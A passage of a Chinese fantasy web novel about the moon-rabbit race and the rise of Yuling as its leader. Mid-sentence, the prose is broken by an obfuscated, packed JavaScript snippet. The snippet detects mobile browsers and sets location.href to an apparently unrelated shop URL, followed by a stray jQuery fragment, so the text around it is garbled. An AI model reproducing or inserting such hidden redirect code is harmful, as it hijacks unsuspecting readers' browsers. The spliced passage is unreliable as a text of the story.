笔记本上不仅记录着她对寰宇的命途的思考,也记录着她对种族进化之路的种种设想。
在这个笔记本的内容全部实现后,崇明可以预想到这个宇宙运行的底层逻辑一定会被改写。
真是美丽的前景,真是盛大的宏愿。
真是傻瓜一样的人!
这样的人不会对月兔一族利用到死,这是一件好事但崇明做不出微笑的动作了,面皮像是糊上一层蜡,每次扯动肌肉都能听见簌簌的掉落声。
说到底,月兔一族所有的一切都来自于那人,那人对月兔来说是名副其实的造物主,崇明思考自己到底是怀着什么的心思来担忧月兔一族的未来的。
她是真心为月兔吗?不是的,她是个阴暗如老鼠,时时刻刻不安定,时时刻刻在恐惧着什么的人。
她必须做些什么让恐惧消退,让无处着落的心脏落回实处,所以她才警惕着那人呐。
她十分的有自知之明。
她终于看清自己是个怎样的人了,因此不敢对那圆月有觊觎之心。
这是她放弃挑战的理由,也是她认为的无法承担月兔一族的未来,她没有那个资质,她不是习惯于走在人前的人,她更习惯于走在某个人的影子后,模仿着影子前进的人。
在打包事业的后方的崇明,终于在某一天听见海啸一般的欢呼声,崇明露出如释重负的笑容。
她终于能毫无阴霾、毫无心理负担的做自己想做的事了,月兔一族终于有一个大家长式的人物,能承载整个种族的期望和怨恨,能背负一切荣耀与重担。
“我还真是爱操心呢,或许这是我最像老师的地方。”
……
你伸了个懒腰,顶着温柔的暖风和日光露出了微笑。
你看看是谁做了大家长,哦,是三代月兔,最活泼的那一代。
你永不衰退的记忆力让你记起,她的名字叫鱼玲。
你手指点点太阳穴,调出了有关鱼玲的记忆,聪明又活泼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16879977|191778||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
,带点小腹黑,有成为乐子人的潜质,擅长配药和研究药方。
除此之外,她腿部功夫了得,是第一届跳高比赛的冠军,最高跳跃记录是4321.5米,带动了月兔人的跳跃热情,最后在你的严厉制止下月兔人对跳跃这项运动加了限制。
这项记录后来被保持住,成为标牌似的跳跃极限记录,你曾经怀疑那串样式规整的数字是鱼玲有意为之。
这远不是她的极限。
但你无意打破鱼玲得意洋洋的小心思,也无法理解她这样做的理由,总不能就是为了看是否有人能看破她的故意为之吧,总不能吧,遂无视。
“成为大家长后,应该会稳重些吧。”
你看着围在鱼玲身边叽叽喳喳个不停的小月兔们,没有去打扰。你注意到似乎有了大家长后,月兔们也学会了矜持和庄重,露出了在你面前才会表露的孺慕之情。
这就是大家长的魅力啊。
不久之后,数艘庞大的飞船悬停在宽广无垠的海面上。
今